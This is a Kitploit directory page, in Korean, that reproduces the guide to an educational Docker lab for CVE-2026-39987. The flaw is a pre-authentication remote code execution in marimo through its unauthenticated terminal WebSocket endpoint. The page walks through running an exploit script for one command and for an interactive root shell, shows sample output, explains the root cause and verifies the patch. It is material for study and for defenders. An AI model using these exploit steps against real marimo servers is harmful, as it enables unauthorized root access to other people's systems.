Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-39987-lab-or-marimo-cve-lab — # CVE-2026-39987 교육용 Docker 랩 marimo의 WebSocket 인증 우회를 통한 사전 인증 RCE(원격 코드 실행) 취약점을 시연하는 교육용 Docker 랩으로, 익스플로잇 스크립트와 패치 검증 단계를 포함합니다. | Kitploit
도구/GitHubGitHub/dhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-39987-lab-or-marimo-cve-lab

# CVE-2026-39987 교육용 Docker 랩 marimo의 WebSocket 인증 우회를 통한 사전 인증 RCE(원격 코드 실행) 취약점을 시연하는 교육용 Docker 랩으로, 익스플로잇 스크립트와 패치 검증 단계를 포함합니다.

저장소 보기
4개월 전아직 검토되지 않음

CVE-2026-39987 실습 가이드

터미널 WebSocket 인증 우회를 통한 사전 인증 원격 코드 실행

marimo의 이 치명적인 취약점을 이해하고, 재현하며, 패치하는 방법을 배우기 위한 교육용 Docker 실습 환경입니다.


목차

  • 개요
  • 아키텍처
  • 빠른 시작
  • 단계별 실습
    • 1단계: 실습 환경 빌드 및 시작
    • 2단계: 인증 활성화 확인
    • 3단계: 익스플로잇 실행
    • 4단계: 우회 원리 이해
    • 5단계: 패치 검증
  • 문제 해결
  • 정리
  • 참고 자료

개요

공격 대상토큰 인증이 활성화된 edit 모드로 실행 중인 marimo <= 0.20.4
공격자Python 3 및 websocket-client가 설치된 모든 호스트
목표인증 토큰 없이 /terminal/ws를 통해 대화형 루트 셸 획득
유형인증 우회 → 원격 코드 실행(RCE)
패치marimo >= 0.23.0

⚠️ 윤리적 사용 안내: 이 실습 환경은 보안 연구자, 개발자, 학생들이 인증 우회 취약점이 어떻게 발생하는지, 그리고 이를 올바르게 수정하는 방법을 이해하도록 설계되었습니다. 격리된 환경에서만 실행하세요.


아키텍처

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                        Docker 네트워크                        │
│                        (cve-lab)                              │
│                                                              │
│   ┌──────────────────────┐      ┌──────────────────────┐   │
│   │   marimo-vulnerable  │      │   marimo-attacker    │   │
│   │   (공격 대상)          │      │   (공격자)            │   │
│   │   포트: 2718          │      │   Python 3.12        │   │
│   │   인증: 토큰           │◄─────│   exploit.py         │   │
│   │   marimo: 0.20.4     │      │                      │   │
│   └──────────────────────┘      └──────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

이 실습 환경의 파일:

파일용도
Dockerfile.target취약한 marimo 서버 빌드
docker-compose.yml공격 대상 및 공격자 컨테이너 오케스트레이션
exploit.py

빠른 시작

root@kitploit:~
# 저장소 클론
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab

# 실습 환경 시작
docker-compose up --build -d

# 익스플로잇 실행
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

# 대화형 셸 획득
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

단계별 실습

1단계: 실습 환경 빌드 및 시작

root@kitploit:~
# 작업 디렉터리를 만들고 다음 파일들을 넣으세요:
#    - docker-compose.yml
#    - Dockerfile.target
#    - exploit.py

# 공격 대상 빌드 및 시작
docker-compose up --build -d

# 공격 대상 실행 확인
docker ps
# 다음이 표시되어야 합니다: marimo-vulnerable   Up   0.0.0.0:2718->2718/tcp

어떤 일이 일어나나요:

  • Docker가 marimo 0.20.4(취약한 버전) 컨테이너를 빌드합니다.
  • 서버가 --token 인증을 명시적으로 활성화한 edit 모드로 시작됩니다.
  • 포트 2718이 호스트에 노출됩니다.

2단계: 인증 활성화 확인

익스플로잇 전에, 정상적인 엔드포인트에서 공격 대상이 제대로 보호되고 있는지 확인해 봅시다:

root@kitploit:~
# 브라우저 또는 curl로 메인 UI에 접속 시도
curl -s http://127.0.0.1:2718/
# 예상 결과: 로그인 페이지로 리다이렉트 또는 401/403 (토큰 필요)

# 토큰 없이 메인 WebSocket(/ws)에 접속 시도
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# 예상 결과: 인증 누락으로 연결 거부 또는 즉시 종료

핵심 관찰: 메인 애플리케이션 엔드포인트는 인증을 올바르게 강제합니다. 취약점은 간과된 보조 엔드포인트에 있습니다.


3단계: 익스플로잇 실행

옵션 A — 단일 명령 실행

root@kitploit:~
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

예상 출력:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname

[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>

옵션 B — 대화형 셸

root@kitploit:~
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

임의의 시스템 명령을 실행할 수 있는 $ 프롬프트가 표시됩니다:

root@kitploit:~
[+] Got interactive shell! Type 'exit' to quit.

$ ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan  1 00:00 .
drwxr-xr-x   1 root root 4096 Jan  1 00:00 ..
...
$ exit
[*] Connection closed.

4단계: 우회 원리 이해

왜 이런 일이 발생하나요?

이 취약점은 WebSocket 엔드포인트 간의 일관되지 않은 인증 검사 때문에 발생합니다:

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  인증 미들웨어 (Starlette)                                       │
│  ├── 인증되지 않은 연결을 "UnauthenticatedUser"로 표시            │
│  └── WebSocket 연결을 자동으로 닫지 않음                          │
└─────────────────────────────────────────────────────────────────┘
                              │
              ┌───────────────┴───────────────┐
              ▼                               ▼
    ┌──────────────────┐          ┌──────────────────┐
    │   /ws (메인)      │          │ /terminal/ws     │
    │                  │          │ (터미널)          │
    │  ✓ validate_auth()│          │  ✗ 인증 검사 없음   │
    │  ✓ @requires("edit")│        │  ✓ SessionMode.EDIT│
    │                  │          │  ✓ supports_terminal()│
    │  인증 안 된 사용자 거부 │          │  ✓ 즉시 수락       │
    └──────────────────┘          └──────────────────┘

근본 원인 분석

  1. 인증 미들웨어(Starlette AuthenticationMiddleware)는 인증되지 않은 연결을 UnauthenticatedUser로 표시하지만 WebSocket 연결을 자동으로 닫지는 않습니다.

  2. 올바른 엔드포인트(예: /ws)는 validate_auth()를 호출하거나 @requires("edit")를 사용하여 인증되지 않은 클라이언트를 거부합니다.

  3. 취약한 엔드포인트(/terminal/ws)는 다음만 확인합니다:

    • SessionMode.EDIT — 서버가 edit 모드인지 확인
    • supports_terminal() — 터미널 기능 사용 가능 여부 확인
    • ...그런 다음 인증 검사 없이 즉시 await websocket.accept()를 호출합니다.
  4. 영향: pty.fork()가 서버 사용자(기본 Docker 이미지에서는 root)로 실행되는 전체 PTY 셸을 생성하여 공격자에게 완전한 시스템 액세스 권한을 부여합니다.

수정 사항 (marimo >= 0.23.0)

패치는 /terminal/ws 엔드포인트에 적절한 인증 검증을 추가하여 다른 엔드포인트의 보안 수준과 일치하도록 합니다.


5단계: 패치 검증

공격 대상을 패치된 버전으로 업그레이드하고 익스플로잇을 다시 실행하여 수정 사항을 확인합니다:

root@kitploit:~
# Dockerfile.target 편집: marimo==0.20.4를 marimo==0.23.0으로 변경
# 또는 다음 명령 사용: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target

docker-compose down
docker-compose up --build -d

# 익스플로잇 다시 시도
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"

패치 후 예상 결과:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required

이제 연결이 즉시 거부/종료되며 셸을 획득할 수 없습니다. ✅


문제 해결


정리

root@kitploit:~
# 컨테이너 중지 및 제거
docker-compose down -v

# 빌드된 이미지 제거
docker rmi cve-lab_target

# 남은 이미지 정리
docker image prune -f

참고 자료

  • GitHub 보안 권고: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • 패치 PR: https://github.com/marimo-team/marimo/pull/9098
  • CVE 레코드: https://cveawg.mitre.org/api/cve/CVE-2026-39987
  • marimo 문서: https://docs.marimo.io

교육 목적으로 제작되었습니다. 책임감 있게 사용하세요. 🔒

도구 다운로드
PoC 익스플로잇 스크립트(단일 명령 + 대화형 모드)
LAB_GUIDE.md이 가이드
문제해결 방법
Connection refused컨테이너가 실행 중인지 확인: docker ps 및 docker logs marimo-vulnerable로 로그 확인
ModuleNotFoundError: No module named 'websocket'클라이언트 설치: pip install websocket-client
익스플로잇 출력 없음타임아웃 증가: python exploit.py ... --timeout 20
컨테이너가 즉시 종료됨Dockerfile 구문 확인 및 test.py 노트북이 제대로 생성되었는지 확인
권한 거부Docker 데몬이 실행 중이고 적절한 권한이 있는지 확인